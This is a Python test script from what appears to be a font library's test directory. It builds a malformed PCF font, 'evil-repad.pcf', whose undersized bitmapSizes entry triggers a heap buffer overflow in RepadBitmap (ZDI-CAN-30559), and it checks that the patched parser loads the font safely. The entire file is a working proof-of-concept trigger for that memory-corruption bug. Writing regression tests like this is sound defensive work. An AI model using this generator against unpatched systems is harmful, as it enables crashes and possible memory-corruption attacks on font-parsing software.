Home | History | Annotate | Line # | Download | only in test
      1 #!/usr/bin/env python3
      2 """
      3 Generate a malicious PCF font that triggers the RepadBitmap heap buffer
      4 overflow (ZDI-CAN-30559).
      5 
      6 The font declares a tiny bitmapSizes[2] (for pad=4) but has per-glyph
      7 metrics that cause RepadBitmap to write far more data than allocated.
      8 
      9 With the fix in pcfread.c, the library computes the required buffer size
     10 from per-glyph metrics instead of trusting bitmapSizes[], so this font
     11 is loaded safely.
     12 
     13 Usage:
     14     python3 gen_evil_pcf_repad.py <output_dir>
     15 
     16 Creates <output_dir>/evil-repad.pcf and <output_dir>/fonts.dir
     17 """
     18 
     19 import struct
     20 import sys
     21 import os
     22 
     23 PCF_DEFAULT_FORMAT = 0x00000000
     24 PCF_PROPERTIES = 1
     25 PCF_ACCELERATORS = 2
     26 PCF_METRICS = 4
     27 PCF_BITMAPS = 8
     28 PCF_BDF_ENCODINGS = 32
     29 
     30 
     31 def u32(x):
     32     return struct.pack("<I", x & 0xFFFFFFFF)
     33 
     34 
     35 def i32(x):
     36     return struct.pack("<i", x)
     37 
     38 
     39 def u16(x):
     40     return struct.pack("<H", x & 0xFFFF)
     41 
     42 
     43 def i16(x):
     44     return struct.pack("<h", x)
     45 
     46 
     47 def u8(x):
     48     return struct.pack("<B", x & 0xFF)
     49 
     50 
     51 def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     52     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     53 
     54 
     55 # Per-glyph metric: width=200, height=20
     56 # dstWidthBytes at pad=4 = ((200+31)>>5)<<2 = 28
     57 # RepadBitmap writes 28 * 20 = 560 bytes
     58 PG_RSB, PG_LSB = 200, 0
     59 PG_ASCENT, PG_DESCENT = 10, 10
     60 
     61 # bitmapSizes[2] = 16 (tiny, causes overflow without fix)
     62 BITMAP_SIZES = [500, 520, 16, 640]
     63 BITMAP_DATA_SIZE = BITMAP_SIZES[0]
     64 
     65 # --- PROPERTIES ---
     66 properties = b""
     67 properties += u32(PCF_DEFAULT_FORMAT)
     68 properties += i32(1)
     69 properties += i32(0)
     70 properties += u8(0)
     71 properties += i32(0)
     72 properties += b"\x00" * 3
     73 properties += i32(1)
     74 properties += b"\x00"
     75 
     76 # --- ACCELERATORS ---
     77 accel = b""
     78 accel += u32(PCF_DEFAULT_FORMAT)
     79 accel += u8(0) * 8
     80 accel += i32(PG_ASCENT)
     81 accel += i32(PG_DESCENT)
     82 accel += i32(0)
     83 accel += xCharInfo(0, 0, 0, 0, 0, 0)
     84 accel += xCharInfo(PG_LSB, PG_RSB, PG_RSB, PG_ASCENT, PG_DESCENT, 0)
     85 
     86 # --- METRICS ---
     87 metrics = b""
     88 metrics += u32(PCF_DEFAULT_FORMAT)
     89 metrics += i32(1)
     90 metrics += xCharInfo(PG_LSB, PG_RSB, PG_RSB, PG_ASCENT, PG_DESCENT, 0)
     91 
     92 # --- BITMAPS ---
     93 bitmaps = b""
     94 bitmaps += u32(PCF_DEFAULT_FORMAT)
     95 bitmaps += i32(1)
     96 bitmaps += u32(0)
     97 for sz in BITMAP_SIZES:
     98     bitmaps += u32(sz)
     99 bitmaps += b"\xaa" * BITMAP_DATA_SIZE
    100 
    101 # --- BDF_ENCODINGS ---
    102 encodings = b""
    103 encodings += u32(PCF_DEFAULT_FORMAT)
    104 encodings += u16(0) + u16(0)  # firstCol, lastCol
    105 encodings += u16(0) + u16(0)  # firstRow, lastRow
    106 encodings += u16(0)  # defaultCh
    107 encodings += u16(0)  # encoding[0] -> metric[0]
    108 
    109 # --- Assemble ---
    110 TABLE_COUNT = 5
    111 BODY_START = 8 + TABLE_COUNT * 16
    112 
    113 properties_off = BODY_START
    114 accel_off = properties_off + len(properties)
    115 metrics_off = accel_off + len(accel)
    116 bitmaps_off = metrics_off + len(metrics)
    117 encodings_off = bitmaps_off + len(bitmaps)
    118 
    119 
    120 def toc(type_, format_, size, offset):
    121     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    122 
    123 
    124 out = b"\x01fcp" + u32(TABLE_COUNT)
    125 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    126 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    127 out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    128 out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off)
    129 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    130 out += properties + accel + metrics + bitmaps + encodings
    131 
    132 output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    133 os.makedirs(output_dir, exist_ok=True)
    134 
    135 pcf_name = "evil-repad.pcf"
    136 xlfd = "-evil-repad-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    137 
    138 with open(os.path.join(output_dir, pcf_name), "wb") as f:
    139     f.write(out)
    140 
    141 with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    142     f.write("1\n")
    143     f.write(f"{pcf_name} {xlfd}\n")
    144